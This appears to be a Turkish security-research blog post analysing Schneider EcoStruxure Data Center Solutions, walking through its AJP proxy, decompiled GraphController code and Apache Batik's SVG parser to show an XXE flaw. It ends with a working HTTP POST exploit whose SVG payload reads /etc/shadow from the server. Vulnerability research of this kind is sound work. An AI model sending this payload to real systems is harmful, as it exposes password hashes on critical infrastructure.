Schneider EcoStruxure Data Center Solutions

Schneider EcoStruxure Data Center Solutions veri merkezlerinde kullanilan alt yapi, enerji yonetim otomasyonudur. Bu urunu zdi’da gordum incelemek istedim, kurulumunu rahat yapabildigim nadir urunlerden…

LOAD

AJP Proxy

Ajp Apache JServ Protocol, apache http sunucusu ile java tabanli uygulama sunuculari (tomcat vs.) arasindaki iletisimi saglamak icin kullanilan bir protokoldur. Ajp proxy web serverdan istekleri alip bu istekleri arka plandaki java uygulamalara yonlendirir. EcoStruxure urunune ait alt tarafta ajp configi bulunmaktadir.

LOAD

Route

Uygulamada disardan kullanicinin erisebilecegi bircok route var, bugun ise isxg kismina odaklanacagiz isxg‘nin altinda birsuru controller bulunmakta bunlardan bazilari Camera,Dashboard,Device,Graph

GraphController

package com.apc.isxc.report.integration.rest;
import com.apc.common.report.integration.rest.api.IGraphController;
...
import org.apache.batik.transcoder.TranscoderInput;
import org.apache.batik.transcoder.TranscoderOutput;
import org.apache.batik.transcoder.TranscodingHints;
import org.apache.batik.transcoder.image.ImageTranscoder;
import org.apache.batik.transcoder.image.JPEGTranscoder;
import org.apache.batik.transcoder.image.PNGTranscoder;
import org.apache.fop.svg.PDFTranscoder;
import org.apache.log4j.Logger;
import org.jfree.chart.ChartFactory;
import org.jfree.chart.ChartUtilities;
import org.jfree.chart.JFreeChart;
...
import org.springframework.web.bind.annotation.RequestParam;

@RequestMapping({"/graphs", "/v1/internal/graphs"})
@Api(tags = {"graph"})
@Controller
@DCEApi(name = "graph", description = "REST API for generating graphs with JFreeChart and Apache Batik", external = false, rateLimitedEndpointPrefixes = {"/v1/internal/graphs"}, rateLimitRequestsPerMinute = 60)

public class GraphController implements IGraphController {
    private static final Logger LOG = Logger.getLogger(GraphController.class);

    @Autowired
    private SensorApplication sensorApplication;

    @Autowired
    private SensorTranslatorFactory sensorTranslatorFactory;
    private Map<String, String> defaultOptions;

    @PostConstruct
    public void init() {
        this.defaultOptions = new HashMap();
        this.defaultOptions.put("x", "150");
        this.defaultOptions.put("y", "20");
        this.defaultOptions.put("fg", "0x2FB4E9");
        this.defaultOptions.put("fgAlert", "0xD73C14");
        this.defaultOptions.put("fgWarn", "0xFFDD00");
        this.defaultOptions.put("hours", "6");
        this.defaultOptions.put("stroke", "1.2");
        this.defaultOptions.put("stroke1", "1.6");
    }

    @RequestMapping(value = {"/spark/{sensorId}"}, produces = {"image/png"})
    @ApiImplicitParams({@ApiImplicitParam(name = "x", value = "The spark line chart width", defaultValue = "150", required = false, dataType = DECommons.VALUE_TYPE_STRING, paramType = "query"), @ApiImplicitParam(name = "y", value = "The spark line chart height", defaultValue = "20", required = false, dataType = DECommons.VALUE_TYPE_STRING, paramType = "query"), 
	...
    @ApiOperation(httpMethod = "GET", value = "Create a spark line chart using JFreeChart. NOTE: operation not valid through Swagger.", response = Byte.class, produces = "image/png")
    public void spark(HttpServletRequest request, HttpServletResponse response, @PathVariable("sensorId") @ApiParam(value = "Id of the sensor", required = true) String sensorId) {
        Color bg;
        if (LOG.isDebugEnabled()) {
            LOG.debug("spark graph: " + sensorId);
        }
        Map<String, String> options = new HashMap<>();
        options.putAll(this.defaultOptions);
        for (Object key : request.getParameterMap().keySet()) {
            LOG.debug("Overriding " + key + " with " + request.getParameter((String) key));
            options.put((String) key, request.getParameter((String) key));
        }
        ServletOutputStream out = null;
        ...
                ...
        } finally {
            try {
                out.close();
            } catch (Exception e4) {
            }
        }
    }  

    @RequestMapping(value = {"/exporter"}, method = {RequestMethod.POST})
    @ApiImplicitParams({@ApiImplicitParam(name = BotServiceConstants.TYPE_FIELD, value = "the export image content type. Possible values: image/png, image/jpeg, application/pdf or image/svg+xml", required = true, dataType = DECommons.VALUE_TYPE_STRING, paramType = "query"), @ApiImplicitParam(name = "filename", value = "the export image filename", defaultValue = "chart", required = false, dataType = DECommons.VALUE_TYPE_STRING, paramType = "query"), @ApiImplicitParam(name = "width", value = "width of the export image", required = false, dataType = DECommons.VALUE_TYPE_STRING, paramType = "query"), @ApiImplicitParam(name = "svg", value = "the SVG format data to export", required = true, dataType = DECommons.VALUE_TYPE_STRING, paramType = "query", examples = @Example({@ExampleProperty(mediaType = AbstractXmlController.MIMETYPE_TEXT_XML, value = "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 100 100\">\n  <circle cx=\"50\" cy=\"50\" r=\"50\" fill=\"green\"/>\n</svg>")}))})
    @ApiOperation(httpMethod = "POST", value = "Use Apache Batik to export an \"image\" from SVG. NOTE: operation not valid through Swagger.", produces = "{ image/png, image/jpeg, application/pdf, image/svg+xml }")
    public void exportSvg(@RequestParam("type") String type, @RequestParam(value = "filename", defaultValue = "chart", required = false) String filename, @RequestParam(value = "width", required = false) String width, @RequestParam("svg") String svg, HttpServletResponse response) {
        OutputStream out = null;
        try {
            try {
                PNGTranscoder pNGTranscoder = null;
                String ext = null;
                Map<TranscodingHints.Key, Object> transcodingHints = new HashMap<>();
                if (type.equals("image/png")) {
                    pNGTranscoder = new PNGTranscoder();
                    ext = "png";
                } else if (type.equals("image/jpeg")) {
                    pNGTranscoder = new JPEGTranscoder();
                    transcodingHints.put(JPEGTranscoder.KEY_QUALITY, Float.valueOf(0.75f));
                    ext = "jpg";
                } else if (type.equals("application/pdf")) {
                    pNGTranscoder = new PDFTranscoder();
                    ext = "pdf";
                } else if (type.equals("image/svg+xml")) {
                    ext = "svg";
                }
                if (ext == null) {
                    sendError(response, 400, "Invalid type given: " + type);
                    if (0 != 0) {
                        try {
                            out.close();
                            return;
                        } catch (Exception e) {
                            return;
                        }
                    }
                    return;
                }
                String attachment = filename + DECommons.ID_DELIMITER + ext;
                response.setHeader("Content-Disposition", "attachment; filename=" + attachment);
                response.setHeader("Content-Type", type);
                ServletOutputStream outputStream = response.getOutputStream();
                if (pNGTranscoder != null) {
                    if (width != null) {
                        transcodingHints.put(ImageTranscoder.KEY_WIDTH, Float.valueOf(width));
                    }
                    pNGTranscoder.setTranscodingHints(transcodingHints);
                    TranscoderInput input = new TranscoderInput(new ByteArrayInputStream(svg.getBytes(StandardCharsets.UTF_8)));
                    TranscoderOutput output = new TranscoderOutput(outputStream);
                    pNGTranscoder.transcode(input, output);
                    outputStream.flush();
                } else {
                    BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(outputStream));
                    try {
                        bw.append((CharSequence) svg);
                        bw.flush();
                        bw.close();
                    } catch (Throwable th) {
                        bw.close();
                        throw th;
                    }
                }
                if (outputStream != null) {
                    try {
                        outputStream.close();
                    } catch (Exception e2) {
                    }
                }
            } catch (Exception e3) {
                LOG.error(e3.getMessage(), e3);
                sendError(response, 500, e3.getMessage());
                if (0 != 0) {
                    try {
                        out.close();
                    } catch (Exception e4) {
                    }
                }
            }
        } catch (Throwable th2) {
            if (0 != 0) {
                try {
                    out.close();
                } catch (Exception e5) {
                }
            }
            throw th2;
        }
    }

    private void sendError(HttpServletResponse response, int code, String message) {
        LOG.error(message);
        response.setStatus(code);
        try {
            response.sendError(code, message);
        } catch (Exception e) {
            LOG.error("Error sending error :)");
        }
    }
}

RequestMapping http isteklerini belirli url yapisina yonlendirmek icin kullanilir, bu class /graphs ve /v1/internal/graphs urlsini bekler.

exportSvg

exportSvg metodu exporter adinda bir url tanimlar ve post istegi bekler.

Kodun ana yapisi post olarak type parametresi aliyor bu donusturulecek resmin formati olacak image/png,image/jpeg,application/pdf,image/svg+xml filename parametresi donusturulen resmin dosya adi.

svg parametresi bizden aldigi svg resmine ait veri.

Kullanicinin belirttigi verilere gore resmi png,jpg,pdf vs formatina donusturur ve ardindan response olarak bunu bize verir. Burada bizim icin onemli kisim olan PNGTranscoder bunu biraz inceledigimizde apache batik kutuphanesine ait oldugunu goruyoruz.

2015-2017 yillari arasi xxe acigi cikmis apache batik’i biraz inceledikten sonra SAXSVGDocumentFactory classindaki createDocument methodunda xxe oldugu ortaya cikmaktadir..


protected Document createDocument(InputSource is)
    throws IOException {
    try {
        if (parserClassName != null) {
            parser = XMLReaderFactory.createXMLReader(parserClassName);
        } else {
            SAXParser saxParser;
            try {
                saxParser = saxFactory.newSAXParser();
            } catch (ParserConfigurationException pce) {
                throw new IOException("Could not create SAXParser: "
                        + pce.getMessage());
            }
            parser = saxParser.getXMLReader();
        }

        parser.setContentHandler(this);
        parser.setDTDHandler(this);
        parser.setEntityResolver(this);
        parser.setErrorHandler((errorHandler == null) ?
                               this : errorHandler);

        parser.setFeature("http://xml.org/sax/features/namespaces",
                          true);
        parser.setFeature("http://xml.org/sax/features/namespace-prefixes",
                          true);
        parser.setFeature("http://xml.org/sax/features/validation",
                          isValidating);
        parser.setProperty("http://xml.org/sax/properties/lexical-handler",
                           this);
        parser.parse(is);
    } catch (SAXException e) {
        Exception ex = e.getException();
        if (ex != null && ex instanceof InterruptedIOException) { 
            throw (InterruptedIOException)ex;
        }
        throw new SAXIOException(e);
    }

    currentNode  = null;
    Document ret = document;
    document     = null;
    doctype      = null;
    locator      = null;
    parser       = null;
    return ret;
}

Exploit7 Bolumu

POST /isxg/graphs/exporter HTTP/1.1
Host: 192.168.1.198
Cache-Control: max-age=0
Authorization: Basic cm9vdDpyb290
Content-Type: application/x-www-form-urlencoded
Content-Length: 249

type=image/png&filename=exp7&svg=<!DOCTYPE+svg+[+<!ENTITY+xxe+SYSTEM+"file:///etc/shadow">+]><svg+xmlns%3d"http%3a//www.w3.org/2000/svg"+width%3d"10000"+height%3d"200"><text+x%3d"10"+y%3d"100"+font-size%3d"20"+fill%3d"red">%26xxe%3B</text></svg>

xxe